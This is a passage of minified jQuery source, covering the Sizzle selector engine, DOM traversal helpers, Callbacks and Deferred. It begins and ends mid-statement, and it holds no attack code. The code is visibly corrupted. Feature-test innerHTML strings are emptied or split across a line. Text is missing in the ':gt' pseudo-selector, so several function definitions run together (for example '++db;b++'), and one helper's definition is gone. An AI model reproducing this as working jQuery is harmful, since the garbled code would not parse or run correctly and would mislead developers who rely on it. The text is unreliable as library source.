null==a?"":k.call(a)}:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){var d;if(b){if(g){return g.call(b,a,c)}for(d=b.length,c=c?0>c?Math.max(0,d+c):c:0;d>c;c++){if(c in b&&b[c]===a){return c}}}return -1},merge:function(a,b){var c=+b.length,d=0,e=a.length;while(c>d){a[e++]=b[d++]}if(c!==c){while(void 0!==b[d]){a[e++]=b[d++]}}return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++){d=!b(a[f],f),d!==h&&e.push(a[f])}return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h){for(;g>f;f++){d=b(a[f],f,c),null!=d&&i.push(d)}}else{for(f in a){d=b(a[f],f,c),null!=d&&i.push(d)}}return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(f=a[b],b=a,a=f),n.isFunction(a)?(c=d.call(arguments,2),e=function(){return a.apply(b||this,c.concat(d.call(arguments)))},e.guid=a.guid=a.guid||n.guid++,e):void 0},now:function(){return +new Date},support:l}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s="sizzle"+-new Date,t=a.document,u=0,v=0,w=eb(),x=eb(),y=eb(),z=function(a,b){return a===b&&(j=!0),0},A="undefined",B=1<<31,C={}.hasOwnProperty,D=[],E=D.pop,F=D.push,G=D.push,H=D.slice,I=D.indexOf||function(a){for(var b=0,c=this.length;c>b;b++){if(this[b]===a){return b}}return -1},J="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",K="[\\x20\\t\\r\\n\\f]",L="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",M=L.replace("w","w#"),N="\\["+K+"*("+L+")"+K+"*(?:([*^$|!~]?=)"+K+"*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|("+M+")|)|)"+K+"*\\]",O=":("+L+")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|"+N.replace(3,8)+")*)|.*)\\)|)",P=new RegExp("^"+K+"+|((?:^|[^\\\\])(?:\\\\.)*)"+K+"+$","g"),Q=new RegExp("^"+K+"*,"+K+"*"),R=new RegExp("^"+K+"*([>+~]|"+K+")"+K+"*"),S=new RegExp("="+K+"*([^\\]'\"]*?)"+K+"*\\]","g"),T=new RegExp(O),U=new RegExp("^"+M+"$"),V={ID:new RegExp("^#("+L+")"),CLASS:new RegExp("^\\.("+L+")"),TAG:new RegExp("^("+L.replace("w","w*")+")"),ATTR:new RegExp("^"+N),PSEUDO:new RegExp("^"+O),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+K+"*(even|odd|(([+-]|)(\\d*)n|)"+K+"*(?:([+-]|)"+K+"*(\\d+)|))"+K+"*\\)|)","i"),bool:new RegExp("^(?:"+J+")$","i"),needsContext:new RegExp("^"+K+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+K+"*((?:-\\d)?\\d*)"+K+"*\\)|)(?=[^-]|$)","i")},W=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,Y=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,$=/[+~]/,_=/'|\\/g,ab=new RegExp("\\\\([\\da-f]{1,6}"+K+"?|("+K+")|.)","ig"),bb=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)};try{G.apply(D=H.call(t.childNodes),t.childNodes),D[t.childNodes.length].nodeType}catch(cb){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]){}a.length=c-1}}}function db(a,b,d,e){var f,g,h,i,j,m,p,q,u,v;if((b?b.ownerDocument||b:t)!==l&&k(b),b=b||l,d=d||[],!a||"string"!=typeof a){return d}if(1!==(i=b.nodeType)&&9!==i){return[]}if(n&&!e){if(f=Z.exec(a)){if(h=f[1]){if(9===i){if(g=b.getElementById(h),!g||!g.parentNode){return d}if(g.id===h){return d.push(g),d}}else{if(b.ownerDocument&&(g=b.ownerDocument.getElementById(h))&&r(b,g)&&g.id===h){return d.push(g),d}}}else{if(f[2]){return G.apply(d,b.getElementsByTagName(a)),d}if((h=f[3])&&c.getElementsByClassName&&b.getElementsByClassName){return G.apply(d,b.getElementsByClassName(h)),d}}}if(c.qsa&&(!o||!o.test(a))){if(q=p=s,u=b,v=9===i&&a,1===i&&"object"!==b.nodeName.toLowerCase()){m=ob(a),(p=b.getAttribute("id"))?q=p.replace(_,"\\$&"):b.setAttribute("id",q),q="[id='"+q+"'] ",j=m.length;while(j--){m[j]=q+pb(m[j])}u=$.test(a)&&mb(b.parentNode)||b,v=m.join(",")}if(v){try{return G.apply(d,u.querySelectorAll(v)),d}catch(w){}finally{p||b.removeAttribute("id")}}}}return xb(a.replace(P,"$1"),b,d,e)}function eb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function fb(a){return a[s]=!0,a}function gb(a){var b=l.createElement("div");try{return !!a(b)}catch(c){return !1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function hb(a,b){var c=a.split("|"),e=a.length;while(e--){d.attrHandle[c[e]]=b}}function ib(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||B)-(~a.sourceIndex||B);if(d){return d}if(c){while(c=c.nextSibling){if(c===b){return -1}}}return a?1:-1}function jb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function kb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function lb(a){return fb(function(b){return b=+b,fb(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--){c[e=f[g]]&&(c[e]=!(d[e]=c[e]))}})})}function mb(a){return a&&typeof a.getElementsByTagName!==A&&a}c=db.support={},f=db.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},k=db.setDocument=function(a){var b,e=a?a.ownerDocument||a:t,g=e.defaultView;return e!==l&&9===e.nodeType&&e.documentElement?(l=e,m=e.documentElement,n=!f(e),g&&g!==g.top&&(g.addEventListener?g.addEventListener("unload",function(){k()},!1):g.attachEvent&&g.attachEvent("onunload",function(){k()})),c.attributes=gb(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=gb(function(a){return a.appendChild(e.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(e.getElementsByClassName)&&gb(function(a){return a.innerHTML="
    ",a.firstChild.className="i",2===a.getElementsByClassName("i").length}),c.getById=gb(function(a){return m.appendChild(a).id=s,!e.getElementsByName||!e.getElementsByName(s).length}),c.getById?(d.find.ID=function(a,b){if(typeof b.getElementById!==A&&n){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ab,bb);return function(a){var c=typeof a.getAttributeNode!==A&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return typeof b.getElementsByTagName!==A?b.getElementsByTagName(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++]){1===c.nodeType&&d.push(c)}return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return typeof b.getElementsByClassName!==A&&n?b.getElementsByClassName(a):void 0},p=[],o=[],(c.qsa=Y.test(e.querySelectorAll))&&(gb(function(a){a.innerHTML="",a.querySelectorAll("[t^='']").length&&o.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||o.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll(":checked").length||o.push(":checked")}),gb(function(a){var b=e.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&o.push("name"+K+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||o.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),o.push(",.*:")})),(c.matchesSelector=Y.test(q=m.webkitMatchesSelector||m.mozMatchesSelector||m.oMatchesSelector||m.msMatchesSelector))&&gb(function(a){c.disconnectedMatch=q.call(a,"div"),q.call(a,"[s!='']:x"),p.push("!=",O)}),o=o.length&&new RegExp(o.join("|")),p=p.length&&new RegExp(p.join("|")),b=Y.test(m.compareDocumentPosition),r=b||Y.test(m.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b){while(b=b.parentNode){if(b===a){return !0}}}return !1},z=b?function(a,b){if(a===b){return j=!0,0}var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===e||a.ownerDocument===t&&r(t,a)?-1:b===e||b.ownerDocument===t&&r(t,b)?1:i?I.call(i,a)-I.call(i,b):0:4&d?-1:1)}:function(a,b){if(a===b){return j=!0,0}var c,d=0,f=a.parentNode,g=b.parentNode,h=[a],k=[b];if(!f||!g){return a===e?-1:b===e?1:f?-1:g?1:i?I.call(i,a)-I.call(i,b):0}if(f===g){return ib(a,b)}c=a;while(c=c.parentNode){h.unshift(c)}c=b;while(c=c.parentNode){k.unshift(c)}while(h[d]===k[d]){d++}return d?ib(h[d],k[d]):h[d]===t?-1:k[d]===t?1:0},e):l},db.matches=function(a,b){return db(a,null,null,b)},db.matchesSelector=function(a,b){if((a.ownerDocument||a)!==l&&k(a),b=b.replace(S,"='$1']"),!(!c.matchesSelector||!n||p&&p.test(b)||o&&o.test(b))){try{var d=q.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType){return d}}catch(e){}}return db(b,l,null,[a]).length>0},db.contains=function(a,b){return(a.ownerDocument||a)!==l&&k(a),r(a,b)},db.attr=function(a,b){(a.ownerDocument||a)!==l&&k(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!n):void 0;return void 0!==f?f:c.attributes||!n?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},db.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},db.uniqueSort=function(a){var b,d=[],e=0,f=0;if(j=!c.detectDuplicates,i=!c.sortStable&&a.slice(0),a.sort(z),j){while(b=a[f++]){b===a[f]&&(e=d.push(f))}while(e--){a.splice(d[e],1)}}return i=null,a},e=db.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent){return a.textContent}for(a=a.firstChild;a;a=a.nextSibling){c+=e(a)}}else{if(3===f||4===f){return a.nodeValue}}}else{while(b=a[d++]){c+=e(b)}}return c},d=db.selectors={cacheLength:50,createPseudo:fb,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(ab,bb),a[3]=(a[4]||a[5]||"").replace(ab,bb),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||db.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&db.error(a[0]),a},PSEUDO:function(a){var b,c=!a[5]&&a[2];return V.CHILD.test(a[0])?null:(a[3]&&void 0!==a[4]?a[2]=a[4]:c&&T.test(c)&&(b=ob(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(ab,bb).toLowerCase();return"*"===a?function(){return !0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=w[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&w(a,function(a){return b.test("string"==typeof a.className&&a.className||typeof a.getAttribute!==A&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=db.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return !!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),t=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p]){if(h?l.nodeName.toLowerCase()===r:1===l.nodeType){return !1}}o=p="only"===a&&!o&&"nextSibling"}return !0}if(o=[g?q.firstChild:q.lastChild],g&&t){k=q[s]||(q[s]={}),j=k[a]||[],n=j[0]===u&&j[1],m=j[0]===u&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if(1===l.nodeType&&++m&&l===b){k[a]=[u,n,m];break}}}else{if(t&&(j=(b[s]||(b[s]={}))[a])&&j[0]===u){m=j[1]}else{while(l=++n&&l&&l[p]||(m=n=0)||o.pop()){if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(t&&((l[s]||(l[s]={}))[a]=[u,m]),l===b)){break}}}}return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||db.error("unsupported pseudo: "+a);return e[s]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?fb(function(a,c){var d,f=e(a,b),g=f.length;while(g--){d=I.call(a,f[g]),a[d]=!(c[d]=f[g])}}):function(a){return e(a,0,c)}):e}},pseudos:{not:fb(function(a){var b=[],c=[],d=g(a.replace(P,"$1"));return d[s]?fb(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--){(f=g[h])&&(a[h]=!(b[h]=f))}}):function(a,e,f){return b[0]=a,d(b,null,f,c),!c.pop()}}),has:fb(function(a){return function(b){return db(a,b).length>0}}),contains:fb(function(a){return function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:fb(function(a){return U.test(a||"")||db.error("unsupported lang: "+a),a=a.replace(ab,bb).toLowerCase(),function(b){var c;do{if(c=n?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang")){return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-")}}while((b=b.parentNode)&&1===b.nodeType);return !1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===m},focus:function(a){return a===l.activeElement&&(!l.hasFocus||l.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling){if(a.nodeType<6){return !1}}return !0},parent:function(a){return !d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:lb(function(){return[0]}),last:lb(function(a,b){return[b-1]}),eq:lb(function(a,b,c){return[0>c?c+b:c]}),even:lb(function(a,b){for(var c=0;b>c;c+=2){a.push(c)}return a}),odd:lb(function(a,b){for(var c=1;b>c;c+=2){a.push(c)}return a}),lt:lb(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;){a.push(d)}return a}),gt:lb(function(a,b,c){for(var d=0>c?c+b:c;++db;b++){d+=a[b].value}return d}function qb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=v++;return b.first?function(b,c,f){while(b=b[d]){if(1===b.nodeType||e){return a(b,c,f)}}}:function(b,c,g){var h,i,j=[u,f];if(g){while(b=b[d]){if((1===b.nodeType||e)&&a(b,c,g)){return !0}}}else{while(b=b[d]){if(1===b.nodeType||e){if(i=b[s]||(b[s]={}),(h=i[d])&&h[0]===u&&h[1]===f){return j[2]=h[2]}if(i[d]=j,j[2]=a(b,c,g)){return !0}}}}}}function rb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--){if(!a[e](b,c,d)){return !1}}return !0}:a[0]}function sb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++){(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h))}return g}function tb(a,b,c,d,e,f){return d&&!d[s]&&(d=tb(d)),e&&!e[s]&&(e=tb(e,f)),fb(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||wb(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:sb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=sb(r,n),d(j,[],h,i),k=j.length;while(k--){(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}}if(f){if(e||a){if(e){j=[],k=r.length;while(k--){(l=r[k])&&j.push(q[k]=l)}e(null,r=[],j,i)}k=r.length;while(k--){(l=r[k])&&(j=e?I.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}}else{r=sb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)}})}function ub(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],i=g||d.relative[" "],j=g?1:0,k=qb(function(a){return a===b},i,!0),l=qb(function(a){return I.call(b,a)>-1},i,!0),m=[function(a,c,d){return !g&&(d||c!==h)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>j;j++){if(c=d.relative[a[j].type]){m=[qb(rb(m),c)]}else{if(c=d.filter[a[j].type].apply(null,a[j].matches),c[s]){for(e=++j;f>e;e++){if(d.relative[a[e].type]){break}}return tb(j>1&&rb(m),j>1&&pb(a.slice(0,j-1).concat({value:" "===a[j-2].type?"*":""})).replace(P,"$1"),c,e>j&&ub(a.slice(j,e)),f>e&&ub(a=a.slice(e)),f>e&&pb(a))}m.push(c)}}return rb(m)}function vb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,i,j,k){var m,n,o,p=0,q="0",r=f&&[],s=[],t=h,v=f||e&&d.find.TAG("*",k),w=u+=null==t?1:Math.random()||0.1,x=v.length;for(k&&(h=g!==l&&g);q!==x&&null!=(m=v[q]);q++){if(e&&m){n=0;while(o=a[n++]){if(o(m,g,i)){j.push(m);break}}k&&(u=w)}c&&((m=!o&&m)&&p--,f&&r.push(m))}if(p+=q,c&&q!==p){n=0;while(o=b[n++]){o(r,s,g,i)}if(f){if(p>0){while(q--){r[q]||s[q]||(s[q]=E.call(j))}}s=sb(s)}G.apply(j,s),k&&!f&&s.length>0&&p+b.length>1&&db.uniqueSort(j)}return k&&(u=w,h=t),r};return c?fb(f):f}g=db.compile=function(a,b){var c,d=[],e=[],f=y[a+" "];if(!f){b||(b=ob(a)),c=b.length;while(c--){f=ub(b[c]),f[s]?d.push(f):e.push(f)}f=y(a,vb(e,d))}return f};function wb(a,b,c){for(var d=0,e=b.length;e>d;d++){db(a,b[d],c)}return c}function xb(a,b,e,f){var h,i,j,k,l,m=ob(a);if(!f&&1===m.length){if(i=m[0]=m[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&c.getById&&9===b.nodeType&&n&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(ab,bb),b)||[])[0],!b){return e}a=a.slice(i.shift().value.length)}h=V.needsContext.test(a)?0:i.length;while(h--){if(j=i[h],d.relative[k=j.type]){break}if((l=d.find[k])&&(f=l(j.matches[0].replace(ab,bb),$.test(i[0].type)&&mb(b.parentNode)||b))){if(i.splice(h,1),a=f.length&&pb(i),!a){return G.apply(e,f),e}break}}}return g(a,m)(f,b,!n,e,$.test(a)&&mb(b.parentNode)||b),e}return c.sortStable=s.split("").sort(z).join("")===s,c.detectDuplicates=!!j,k(),c.sortDetached=gb(function(a){return 1&a.compareDocumentPosition(l.createElement("div"))}),gb(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||hb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&gb(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||hb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),gb(function(a){return null==a.getAttribute("disabled")})||hb(J,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),db}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b)){return n.grep(a,function(a,d){return !!b.call(a,d,a)!==c})}if(b.nodeType){return n.grep(a,function(a){return a===b!==c})}if("string"==typeof b){if(w.test(b)){return n.filter(b,a,c)}b=n.filter(b,a)}return n.grep(a,function(a){return n.inArray(a,b)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=[],d=this,e=d.length;if("string"!=typeof a){return this.pushStack(n(a).filter(function(){for(b=0;e>b;b++){if(n.contains(d[b],this)){return !0}}}))}for(b=0;e>b;b++){n.find(a,d[b],c)}return c=this.pushStack(e>1?n.unique(c):c),c.selector=this.selector?this.selector+" "+a:a,c},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return !!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=a.document,A=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,B=n.fn.init=function(a,b){var c,d;if(!a){return this}if("string"==typeof a){if(c="<"===a.charAt(0)&&">"===a.charAt(a.length-1)&&a.length>=3?[null,a,null]:A.exec(a),!c||!c[1]&&b){return !b||b.jquery?(b||y).find(a):this.constructor(b).find(a)}if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:z,!0)),v.test(c[1])&&n.isPlainObject(b)){for(c in b){n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c])}}return this}if(d=z.getElementById(c[2]),d&&d.parentNode){if(d.id!==c[2]){return y.find(a)}this.length=1,this[0]=d}return this.context=z,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};B.prototype=n.fn,y=n(z);var C=/^(?:parents|prev(?:Until|All))/,D={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=a[b];while(e&&9!==e.nodeType&&(void 0===c||1!==e.nodeType||!n(e).is(c))){1===e.nodeType&&d.push(e),e=e[b]}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling){1===a.nodeType&&a!==b&&c.push(a)}return c}}),n.fn.extend({has:function(a){var b,c=n(a,this),d=c.length;return this.filter(function(){for(b=0;d>b;b++){if(n.contains(this,c[b])){return !0}}})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++){for(c=this[d];c&&c!==b;c=c.parentNode){if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}}}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function E(a,b){do{a=a[b]}while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return E(a,"nextSibling")},prev:function(a){return E(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(D[a]||(e=n.unique(e)),C.test(a)&&(e=e.reverse())),this.pushStack(e)}});var F=/\S+/g,G={};function H(a){var b=G[a]={};return n.each(a.match(F)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?G[a]||H(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(c=a.memory&&l,d=!0,f=g||0,g=0,e=h.length,b=!0;h&&e>f;f++){if(h[f].apply(l[0],l[1])===!1&&a.stopOnFalse){c=!1;break}}b=!1,h&&(i?i.length&&j(i.shift()):c?h=[]:k.disable())},k={add:function(){if(h){var d=h.length;!function f(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&f(c)})}(arguments),b?e=h.length:c&&(g=d,j(c))}return this},remove:function(){return h&&n.each(arguments,function(a,c){var d;while((d=n.inArray(c,h,d))>-1){h.splice(d,1),b&&(e>=d&&e--,f>=d&&f--)}}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],e=0,this},disable:function(){return h=i=c=void 0,this},disabled:function(){return !h},lock:function(){return i=void 0,c||k.disable(),this},locked:function(){return !i},fireWith:function(a,c){return !h||d&&!i||(c=c||[],c=[a,c.slice?c.slice():c],b?i.push(c):j(c)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return !!d}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1){for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++){c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f}}return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return 